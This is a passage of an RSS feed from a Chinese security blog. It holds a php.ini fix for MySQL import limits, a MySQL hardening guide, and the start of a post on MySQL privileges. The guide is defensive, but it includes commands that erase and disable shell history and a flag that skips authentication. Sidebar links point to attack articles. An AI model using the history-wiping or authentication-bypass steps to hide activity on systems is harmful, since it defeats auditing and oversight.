2009文章)</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1173.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL导入数据库文件最大限制2048KB的修改解决办法</title>
		<link>http://www.4shell.org/archives/1156.html</link>
		<comments>http://www.4shell.org/archives/1156.html#comments</comments>
		<pubDate>Thu, 05 Nov 2009 01:04:32 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[小技巧]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1156.html</guid>
		<description><![CDATA[今天为论坛进行服务器空间的转移~~~先顺利将Mysql数据库用phpmyadmin导出~~ 然后在新服务器上建好数据库后，然后进行导入！可是因为MySQL数据库的.sql文件大于2MB。所以在导入时就提示说超过2048KB的错误，不让导入….于是就引出了此文的解决办法，呵呵 解决办法： 1、打开php.ini。找到 upload_max_filesize 、 memory_limit 、 post_max_size 这三个参数！ (在默认的情况下,php只允许最大的上传数据为2M,也就是2048KB,而极限的最大使用内存memory_limit也仅为128M，Post的最大也为2M) 2、按您的服务器的实际性能配置进行如下改动：（注意：以下是按我的服务器性能和硬件配置进行的更改..） upload_max_filesize = 8M (上传最大极限设定为8M,这个应该足够一般的文件WEB上传了) memory_limit = 512M (因为服务器的内存为2GB,所以这里加到512M不过份吧，呵) post_max_size = 8M (Post数据最大也设置为8MB,这个跟upload_max一样) 3、改完之后，我重新启动系统，再重新执行导入命令后： Import has been successfully finished, 399 queries executed. (显示导入成功,有多少个请求处理成功…) （备注：改完后当你在到phpMyadmin的导入命令行时，虽然(有时候可能会仍然显示为:最大限制:2048KB/Max: 2,048KiB);但实际上你已经可以导入不超过8M的MySQL数据库.sql导出的备份文件了! 另，改完php.ini后，别忘了重启一下web服务或者是服务器哟！重启后升效! 相关文章2008年10月18日 -- load_file()查看常用的一些配置文件2008年10月10日 -- 用telnet的方法导出、导入论坛mysql数据库2012年01月31日 -- 命令行导出IIS配置信息2011年11月24日 -- 域内指定用户中马2011年06月6日 -- Linux下MySQL的load_file常用路径2011年06月6日 -- linux渗透小技巧2011年06月2日 -- Mysql安全2011年04月28日 -- MySQL.com和Sun.com到底是如何被黑的？2010年06月3日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>今天为论坛进行服务器空间的转移~~~先顺利将Mysql数据库用phpmyadmin导出~~<br />
然后在新服务器上建好数据库后，然后进行导入！可是因为MySQL数据库的.sql文件大于2MB。所以在导入时就提示说超过2048KB的错误，不让导入….于是就引出了此文的解决办法，呵呵</p>
<p>解决办法：<br />
<span id="more-1156"></span><br />
1、打开php.ini。找到 upload_max_filesize 、 memory_limit 、 post_max_size 这三个参数！<br />
(在默认的情况下,php只允许最大的上传数据为2M,也就是2048KB,而极限的最大使用内存memory_limit也仅为128M，Post的最大也为2M)</p>
<p>2、按您的服务器的实际性能配置进行如下改动：（注意：以下是按我的服务器性能和硬件配置进行的更改..）</p>
<p>upload_max_filesize = 8M (上传最大极限设定为8M,这个应该足够一般的文件WEB上传了)<br />
memory_limit = 512M (因为服务器的内存为2GB,所以这里加到512M不过份吧，呵)<br />
post_max_size = 8M (Post数据最大也设置为8MB,这个跟upload_max一样)</p>
<p>3、改完之后，我重新启动系统，再重新执行导入命令后：<br />
Import has been successfully finished, 399 queries executed.<br />
(显示导入成功,有多少个请求处理成功…)</p>
<p>（备注：改完后当你在到phpMyadmin的导入命令行时，虽然(有时候可能会仍然显示为:最大限制:2048KB/Max: 2,048KiB);但实际上你已经可以导入不超过8M的MySQL数据库.sql导出的备份文件了! 另，改完php.ini后，别忘了重启一下web服务或者是服务器哟！重启后升效!</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/335.html" title="用telnet的方法导出、导入论坛mysql数据库">用telnet的方法导出、导入论坛mysql数据库</a></li><li>2012年01月31日 -- <a href="http://www.4shell.org/archives/2078.html" title="命令行导出IIS配置信息">命令行导出IIS配置信息</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2051.html" title="域内指定用户中马">域内指定用户中马</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年05月5日 -- <a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1156.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL数据库安全配置指南</title>
		<link>http://www.4shell.org/archives/1083.html</link>
		<comments>http://www.4shell.org/archives/1083.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 10:57:44 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1083.html</guid>
		<description><![CDATA[1、前言 MySQL是完全网络化的跨平台关系型数据库系统，同时是具有客户机/服务器体系结构的 分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点，用户可利用许多语言编写访问MySQL数据库的程序，特别是 与PHP更是黄金组合，运用十分广泛。 由于MySQL是多平台的数据库，它的默认配置要考虑各种情况下都能适用，所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员，我们有责任维护MySQL数据库系统的数据安全性和完整性。 MySQL数据库的安全配置必须从两个方面入手，系统内部安全和外部网络安全，另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。 2、系统内部安全 首先简单介绍一下MySQL数据库目录结构。MySQL安装好，运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果 我们用MySQL源码包安装，而且安装目录是/usr/local/mysql，那么数据目录一般会是/usr/local/mysql/var。数据库 系统由一系列数据库组成，每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录，各数据库表分别以数据库表名作为文件 名，扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。 MySQL的授权表给数据库的访问提供了灵活的权限控制，但是 如果本地用户拥有对库文件的读权限的话，攻击者只需把数据库目录打包拷走，然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机 的安全性是最首要的问题，如果主机不安全，被攻击者控制，那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性，也就是权限设置问题。 从MySQL主站一些老的binary发行版来看，3.21.xx版本中数据目录的属性是775，这样非常危险，任何本地用户都可以读数据目录，所以数 据库文件很不安全。3.22.xx版本中数据目录的属性是770，这种属性也有些危险，本地的同组用户既能读也能写，所以数据文件也不安全。 3.23.xx版本数据目录的属性是700，这样就比较好，只有启动数据库的用户可以读写数据库文件，保证了本地数据文件的安全。 如果启动MySQL数据库的用户是mysql，那么象如下的目录和文件的是安全的，请注意数据目录及下面的属性： shell&#62;ls -l /usr/local/mysql total 40 drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin drwxrwxr-x 3 root root 4096 Feb 27 20:07 include drwxrwxr-x 2 root root 4096 Feb 27 20:07 info drwxrwxr-x 3 root root 4096 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1、前言</p>
<p></strong> MySQL是完全网络化的跨平台关系型数据库系统，同时是具有客户机/服务器体系结构的 分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点，用户可利用许多语言编写访问MySQL数据库的程序，特别是 与PHP更是黄金组合，运用十分广泛。</p>
<p>由于MySQL是多平台的数据库，它的默认配置要考虑各种情况下都能适用，所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员，我们有责任维护MySQL数据库系统的数据安全性和完整性。</p>
<p>MySQL数据库的安全配置必须从两个方面入手，系统内部安全和外部网络安全，另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。</p>
<p><strong>2、系统内部安全</strong></p>
<p>首先简单介绍一下MySQL数据库目录结构。MySQL安装好，运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果 我们用MySQL源码包安装，而且安装目录是/usr/local/mysql，那么数据目录一般会是/usr/local/mysql/var。数据库 系统由一系列数据库组成，每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录，各数据库表分别以数据库表名作为文件 名，扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。</p>
<p>MySQL的授权表给数据库的访问提供了灵活的权限控制，但是 如果本地用户拥有对库文件的读权限的话，攻击者只需把数据库目录打包拷走，然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机 的安全性是最首要的问题，如果主机不安全，被攻击者控制，那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性，也就是权限设置问题。</p>
<p>从MySQL主站一些老的binary发行版来看，3.21.xx版本中数据目录的属性是775，这样非常危险，任何本地用户都可以读数据目录，所以数 据库文件很不安全。3.22.xx版本中数据目录的属性是770，这种属性也有些危险，本地的同组用户既能读也能写，所以数据文件也不安全。 3.23.xx版本数据目录的属性是700，这样就比较好，只有启动数据库的用户可以读写数据库文件，保证了本地数据文件的安全。<br />
<span id="more-1083"></span></p>
<p>如果启动MySQL数据库的用户是mysql，那么象如下的目录和文件的是安全的，请注意数据目录及下面的属性：</p>
<div>shell&gt;ls -l /usr/local/mysql<br />
total 40<br />
drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 include<br />
drwxrwxr-x 2 root root 4096 Feb 27 20:07 info<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 lib<br />
drwxrwxr-x 2 root root 4096 Feb 27 20:07 libexec<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 man<br />
drwxrwxr-x 6 root root 4096 Feb 27 20:07 mysql-test<br />
drwxrwxr-x 3 root root 4096 Feb 27 20:07 share<br />
drwxrwxr-x 7 root root 4096 Feb 27 20:07 sql-bench<br />
drwx------ 4 mysql mysql 4096 Feb 27 20:07 var<br />
shell&gt;ls -l /usr/local/mysql/var<br />
total 8<br />
drwx------ 2 mysql mysql 4096 Feb 27 20:08 mysql<br />
drwx------ 2 mysql mysql 4096 Feb 27 20:08 test<br />
shell&gt;ls -l /usr/local/mysql/var/mysql<br />
total 104<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 columns_priv.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 columns_priv.MYI<br />
-rw------- 1 mysql mysql 8778 Feb 27 20:08 columns_priv.frm<br />
-rw------- 1 mysql mysql 302 Feb 27 20:08 db.MYD<br />
-rw------- 1 mysql mysql 3072 Feb 27 20:08 db.MYI<br />
-rw------- 1 mysql mysql 8982 Feb 27 20:08 db.frm<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 func.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 func.MYI<br />
-rw------- 1 mysql mysql 8641 Feb 27 20:08 func.frm<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 host.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 host.MYI<br />
-rw------- 1 mysql mysql 8958 Feb 27 20:08 host.frm<br />
-rw------- 1 mysql mysql 0 Feb 27 20:08 tables_priv.MYD<br />
-rw------- 1 mysql mysql 1024 Feb 27 20:08 tables_priv.MYI<br />
-rw------- 1 mysql mysql 8877 Feb 27 20:08 tables_priv.frm<br />
-rw------- 1 mysql mysql 428 Feb 27 20:08 user.MYD<br />
-rw------- 1 mysql mysql 2048 Feb 27 20:08 user.MYI<br />
-rw------- 1 mysql mysql 9148 Feb 27 20:08 user.frm</div>
<p>如果这些文件的属主及属性不是这样，请用以下两个命令修正之：</p>
<div>shell&gt;chown -R mysql.mysql /usr/local/mysql/var<br />
shell&gt;chmod -R go-rwx /usr/local/mysql/var</div>
<p>用root用户启动远程服务一直是安全大忌，因为如果服务程序出现问题，远程攻击者极有可能获得主机的完全控制权。MySQL从3.23.15版本开始 时作了小小的改动，默认安装后服务要用mysql用户来启动，不允许root用户启动。如果非要用root用户来启动，必须加上--user=root的 参数</p>
<div>(./safe_mysqld --user=root &amp;)</div>
<p>因为MySQL中有LOAD DATA INFILE和SELECT ... INTO OUTFILE的SQL语句，如果是root用户启动了MySQL服务器，那么，数据库用户就拥有了root用户的写权限。不过MySQL还是做了一些限 制的，比如LOAD DATA INFILE只能读全局可读的文件，SELECT ... INTO OUTFILE不能覆盖已经存在的文件。</p>
<p>本地的日志文件也不能忽视，包括shell的日志和MySQL自己的日志。有些用户在本地登陆或备份数据库的时候为了图方便，有时会在命令行参数里直接带了数据库的密码，如：</p>
<div>shell&gt;/usr/local/mysql/bin/mysqldump -uroot -ptest test&gt;test.sql<br />
shell&gt;/usr/local/mysql/bin/mysql -uroot -ptest</div>
<p>这些命令会被shell记录在历史文件里，比如bash会写入用户目录的.bash_history文件，如果这些文件不慎被读，那么数据库的密码就会 泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库 密码，也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码，而是在提示后再输入数据库密码。</p>
<p>另外这两个文件我们也应该不让它记录我们的操作，以防万一。</p>
<div>shell&gt;rm .bash_history .mysql_history<br />
shell&gt;ln -s /dev/null .bash_history<br />
shell&gt;ln -s /dev/null .mysql_history</div>
<p>上门这两条命令把这两个文件链接到/dev/null，那么我们的操作就不会被记录到这两个文件里了。</p>
<p><strong>3、外部网络安全</strong></p>
<p>MySQL数据库安装好以后，Unix平台的user表是这样的：</p>
<div>mysql&gt; use mysql;<br />
Database changed<br />
mysql&gt; select Host,User,Password,Select_priv,Grant_priv from user;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501734.jpg" alt="" /></p>
<p><strong>图1</strong></p>
<p>4 rows in set (0.00 sec)</p>
<p>Windows平台的user表是这样的：</p>
<div>mysql&gt; use mysql;<br />
Database changed<br />
mysql&gt; select Host,User,Password,Select_priv,Grant_priv from user;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501580.jpg" alt="" /></p>
<p><strong>图2</strong></p>
<p>4 rows in set (0.00 sec)</p>
<p>我们先来看Unix平台的user表。其中redhat只是我试验机的机器名，所以实际上Unix平台的MySQL默认只允许本机才能连接数据库。但是缺省root用户口令是空，所以当务之急是给root用户加上口令。给数据库用户加口令有三种方法：</p>
<p>1)在shell提示符下用mysqladmin命令来改root用户口令:</p>
<div>shell&gt;mysqladmin -uroot password test</div>
<p>这样，MySQL数据库root用户的口令就被改成test了。(test只是举例，我们实际使用的口令一定不能使用这种易猜的弱口令)</p>
<p>2)用set password修改口令</p>
<div>mysql&gt; set password for root@localhost=password('test');</div>
<p>这时root用户的口令就被改成test了。</p>
<p>3)直接修改user表的root用户口令：</p>
<div>mysql&gt; use mysql;<br />
mysql&gt; update user set password=password('test') where user='root';<br />
mysql&gt; flush privileges;</div>
<p>这样，MySQL数据库root用户的口令也被改成test了。其中最后一句命令flush privileges的意思是强制刷新内存授权表，否则用的还是缓冲中的口令，这时非法用户还可以用root用户及空口令登陆，直到重启MySQL服务器。</p>
<p>我们还看到user为空的匿名用户，虽然它在Unix平台下没什么权限，但为了安全起见我们应该删除它：</p>
<div>mysql&gt; delete from user where user='';</div>
<p>Windows版本MySQL的user表有很大不同，我们看到Host字段除了localhost还有是%。这里%的意思是允许任意的主机连接MySQL服务器，这是非常不安全的，给攻击者造成可乘之机，我们必须删除Host字段为%的记录：</p>
<div>mysql&gt;delete from user where host='%';</div>
<p>默认root用户的空密码也是必须修改，三种修改方法和Unix平台一样。</p>
<p>我们注意到Host字段为localhost的匿名用户拥有所有的权限!就是说本地用户用空的用户名和空的口令登陆MySQL数据库服务器可以得到最高的权限!所以匿名用户必须删除!</p>
<div>mysql&gt; delete from user where user='';</div>
<p>对user表操作以后不要忘了用flush privileges来强制刷新内存授权表，这样才能生效。</p>
<p>默认安装的Windows版MySQL存在的不安全因素太多，我们在安装后一定要进一步配置!</p>
<p>MySQL的5个授权表：user, db, host, tables_priv和columns_priv提供非常灵活的安全机制，从MySQL 3.22.11开始引入了两条语句GRANT和REVOKE来创建和删除用户权限，可以方便的限制哪个用户可以连接服务器，从哪里连接以及连接后可以做什 么操作。作为MySQL管理员，我们必须了解授权表的意义以及如何用GRANT和REVOKE来创建用户、授权和撤权、删除用户。</p>
<p>在3.22.11版本以前的MySQL授权机制不完善，和新版本也有较大的不同，建议升级到最新版本的MySQL。(本书的操作例子是以MySQL 3.23.49为样本)我们先来了解授权表的结构。</p>
<p>1)MySQL授权表的结构与内容：</p>
<div>mysql&gt; desc user;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501621.jpg" alt="" /></p>
<p><strong>图3</strong></p>
<p>17 rows in set (0.01 sec)</p>
<p>user表是5个授权表中最重要的一个，列出可以连接服务器的用户及其加密口令，并且它指定他们有哪种全局(超级用户)权限。在user表启用的任何权限均是全局权限，并适用于所有数据库。所以我们不能给任何用户访问mysql.user表的权限!</p>
<p>权限说明：</p>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214501360.jpg" alt="" /></p>
<p><strong>图4</strong></p>
<div>mysql&gt; desc db;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214502371.jpg" alt="" /></p>
<p><strong>图5</strong></p>
<p>13 rows in set (0.01 sec)</p>
<p>db表列出数据库，而用户有权限访问它们。在这里指定的权限适用于一个数据库中的所有表。</p>
<div>mysql&gt; desc host;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503797.jpg" alt="" /></p>
<p><strong>图6</strong></p>
<p>12 rows in set (0.01 sec)</p>
<p>host表与db表结合使用在一个较好层次上控制特定主机对数据库的访问权限，这可能比单独使用db好些。这个表不受GRANT和REVOKE语句的影响，所以，你可能发觉你根本不是用它。</p>
<div>mysql&gt; desc tables_priv;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503112.jpg" alt="" /></p>
<p><strong>图7</strong></p>
<p>8 rows in set (0.01 sec)</p>
<p>tables_priv表指定表级权限。在这里指定的一个权限适用于一个表的所有列。</p>
<div>mysql&gt; desc columns_priv;</div>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503784.jpg" alt="" /></p>
<p><strong>图8</strong></p>
<p>7 rows in set (0.00 sec)</p>
<p>columns_priv表指定列级权限。在这里指定的权限适用于一个表的特定列。</p>
<p>2)MySQL授权表运行机制</p>
<p>MySQL的访问控制分两个步骤：</p>
<p>a)服务器检查是否允许该用户连接。</p>
<p>b)如果该用户有权连接，那么服务器还会检查它的每一个请求是否有足够的权限。比如：用户检索数据库中的一个表需要有这个数据库的select权限，用户删除数据库中的一个表需要有这个数据库的drop权限。</p>
<p>授权表的user, db,host表使用这两个步骤，tables_priv和columns_priv表只使用第二步(检查请求)。每个授权表包含决定一个权限何时运用的范围列和决定授予哪种权限的权限列。</p>
<p>范围列指定表中的权限何时运用。每个授权表条目包含User和Host列来指定权限何时运用于一个给定用户从给定主机的连接。其他表包含附加的范围列， 如db表包含一个Db列指出权限运用于哪个数据库。类似地，tables_priv和columns_priv表包含范围字段，缩小范围到一个数据库中的 特定表或一个表的特定列。</p>
<p>下面是user表的Host字段和User字段组合的一些例子：</p>
<p><img src="http://hacknote.com/uploadfile/2009-08-26/hacknote.com214503833.jpg" alt="" /></p>
<p><strong>图9</strong></p>
<p>SQL的字符串通配符%表示匹配任意字符，可以是0个字符，通配符_表示匹配一个字符。</p>
<p>权限列指出在范围列中指定的用户拥有何种权限。该表使用GRANT语句的权限名称。对于绝大多数在user、db和host表中的权限列的名称与GRANT语句中有明显的联系。如Select_priv对应于SELECT权限。</p>
<p>3)授权表使用举例</p>
<p>grant用于给增加用户和创建权限，revoke用于删除用户权限。</p>
<p>下面是一些用grant增加用户和创建权限的例子：</p>
<div>mysql&gt; grant all privileges on *.* to test@localhost identified by 'test' with grant option;</div>
<p>这句增加一个本地具有所有权限的test用户(超级用户)，密码是test。ON子句中的*.*意味着"所有数据库、所有表"。with grant option表示它具有grant权限。</p>
<div>mysql&gt; grant select,insert,update,delete,create,drop privileges on test.* to test1@'192.168.1.0/255.255.255.0' identified by 'test';</div>
<p>这句是增加了一个test1用户，口令是test，但是它只能从C类子网192.168.1连接，对test库有select,insert,update,delete,create,drop操作权限。</p>
<p>用grant语句创建权限是不需要再手工刷新授权表的，因为它已经自动刷新了。</p>
<p>给用户创建权限还可以通过直接修改授权表：</p>
<div>mysql&gt; insert into user<br />
values("localhost","test",password("test"),"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y");<br />
mysql&gt; flush privileges;</div>
<p>这两句和上面第一句grant的效果是一样的，也是增加了一个本地的test超级用户。我们看到用grant方便多了，而且还不需flush privileges。</p>
<div>mysql&gt; insert into user (host,user,password) values("192.168.1.0/255.255.255.0","test1",PASSWORD("test")); mysql&gt; insert into db values("192.168.1.0/255.255.255.0","test","test1","Y","Y","Y","Y","Y","Y","N","N","N","N") mysql&gt; flush privileges;</div>
<p>这三句和上面第二句grant的效果也是一样的，也是增加了一个只 能从C类子网192.168.1连接，对test库有select,insert,update,delete,create,drop操作权限的 test1用户，口令是test。要取消一个用户的权限，使用revoke语句。revoke的语法非常类似于grant语句，除了to用from取代并 且没有identified by和with grant option子句，下面是用revoke删除用户权限的例子：</p>
<div>mysql&gt; revoke all on test.* from test1@'192.168.1.0/255.255.255.0';</div>
<p>这句revoke就撤消了上面第二句grant创建的权限，但是test1用户并没有被删除，必须手工从user表删除：</p>
<div>mysql&gt; delete from user where user='test1';<br />
mysql&gt; flush privileges;</div>
<p>这样，test1用户就彻底删除了。</p>
<p>这些只是MySQL授权表的简单使用，更多详细的资料请见MySQL提供的手册。</p>
<p><strong>4、编程需要注意的一些问题</strong></p>
<p>不管是用哪种程序语言写连接MySQL数据库的程序，有一条准则是永远不要相信用户提交的数据!</p>
<p>对于数字字段，我们要使用查询语句：SELECT * FROM table WHERE ID='234'，不要使用SELECT * FROM table WHERE ID=234这样的查询语句。MySQL会自动把字串转换为数字字符并且去除非数字字符。如果用户提交的数据经过了 mysql_escape_string处理，这样我们就可以完全杜绝了sql inject攻击。</p>
<p>各种编程语言该注意的问题：</p>
<p>1)所有Web程序：</p>
<p>a)尝试在Web表单输入单引号和双引号来测试可能出现的错误，并找出原因所在。</p>
<p>b)修改URL参数带的%22 ('"'), %23 ('#'), 和 %27 (''')。</p>
<p>c)对于数字字段的变量，我们的应用程序必须进行严格的检查，否则是非常危险的。</p>
<p>d)检查用户提交的数据是否超过字段的长度。</p>
<p>e)不要给自己程序连接数据库的用户过多的访问权限。</p>
<p>2)PHP：</p>
<p>a)检查用户提交的数据在查询之前是否经过addslashes处理，在PHP 4.0.3以后提供了基于MySQL C</p>
<p>API的函数mysql_escape_string()。</p>
<p>3)MySQL C API：</p>
<p>a)检查查询字串是否用了mysql_escape_string() API调用。</p>
<p>4)MySQL++：</p>
<p>a)检查查询字串是否用了escape和quote处理。</p>
<p>5)Perl DBI：</p>
<p>a)检查查询字串是否用了quote()方法。</p>
<p>6)Java JDBC：</p>
<p>a)检查查询字串是否用了PreparedStatement对象。</p>
<p><strong>5、一些小窍门</strong></p>
<p>1)如果不慎忘记了MySQL的root密码，我们可以在启动MySQL服务器时加上参数--skip-grant-tables来跳过授权表的验证 (./safe_mysqld --skip-grant-tables &amp;)，这样我们就可以直接登陆MySQL服务器，然后再修改root用户的口令，重启MySQL就可以用新口令登陆了。</p>
<p>2)启动MySQL服务器时加上--skip-show-database使一般数据库用户不能浏览其它数据库。</p>
<p>3)启动MySQL服务器时加上--chroot=path参数，让mysqld守护进程运行在chroot环境中。这样SQL语句LOAD DATA INFILE和SELECT ... INTO OUTFILE就限定在chroot_path下读写文件了。这里有一点要注意，MySQL启动后会建立一个mysql.sock文件，默认是在/tmp 目录下。使用了chroot后，MySQL会在chroot_path/tmp去建立mysql.sock文件，如果没有chroot_path/tmp 目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件，MySQL会启动失败。比如我们加了--chroot=/usr /local/mysql/启动参数，那么最好建立一个启动MySQL的用户能写的/usr/local/mysql/tmp目录，当然我们也可以用 --socket=path来指定mysql.sock文件的路径，但这个path一定要在chroot_path里面。</p>
<p>4)启动 MySQL服务器时加上--log-slow-queries[=file]参数，这样mysqld会把SQL命令执行时间超过 long_query_time的写入file文件。如果没有指定=file，mysqld默认会写到数据目录下的hostname-slow.log。 如果只指定了filename，没有指定路径，那么mysqld也会把filename写到数据目录下。我们通过这个日志文件可以找出执行时间超长的查询 语句，然后尽可能的优化它减轻MySQL服务器的负担。</p>
<p>5)如果我们只需本机使用MySQL服务，那么我们还可以加上--skip-networking启动参数使MySQL不监听任何TCP/IP连接，增加安全性。(非常推荐)</p>
<p>6)MySQL的更多mysqld启动选项请见MySQL手册4.16.4 mysqld Command-line Options</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1083.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于MySQL权限</title>
		<link>http://www.4shell.org/archives/1043.html</link>
		<comments>http://www.4shell.org/archives/1043.html#comments</comments>
		<pubDate>Sun, 23 Aug 2009 17:52:31 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[权限]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1043.html</guid>
		<description><![CDATA[MySQL权限详解： 一．权限表 mysql数据库中的3个权限表：user 、db、 host 权限表的存取过程是： 1)先从user表中的host、 user、 password这3个字段中判断连接的IP、用户名、密码是否存在表中，存在则通过身份验证； 2)通过权限验证，进行权限分配时，按照userdbtables_privcolumns_priv的顺序进行分配。即先检查全局权限表 user，如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，将不再检查db, tables_priv,columns_priv；如果为N，则到db表中检查此用户对应的具体数据库，并得到db中为Y的权限；如果db中为N，则检 查tables_priv中此数据库对应的具体表，取得表中的权限Y，以此类推。 二．MySQL各种权限（共27个） （以下操作都是以root身份登陆进行grant授权，以p1@localhost身份登陆执行各种命令。） 1. usage 连接（登陆）权限，建立一个用户，就会自动授予其usage权限（默认授予）。 mysql&#62; grant usage on *.* to ‘p1′@’localhost’ identified by ‘123′; 该权限只能用于数据库登陆，不能执行任何操作；且usage权限不能被回收，也即REVOKE用户并不能删除用户。 2. select 必须有select的权限，才可以使用select table mysql&#62; grant select on pyt.* to ‘p1′@’localhost’; mysql&#62; select * from shop; 3. create 必须有create的权限，才可以使用create table mysql&#62; grant create on pyt.* to [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL权限详解：</p>
<p>一．权限表<br />
mysql数据库中的3个权限表：user 、db、 host<br />
权限表的存取过程是：<br />
1)先从user表中的host、 user、 password这3个字段中判断连接的IP、用户名、密码是否存在表中，存在则通过身份验证；<br />
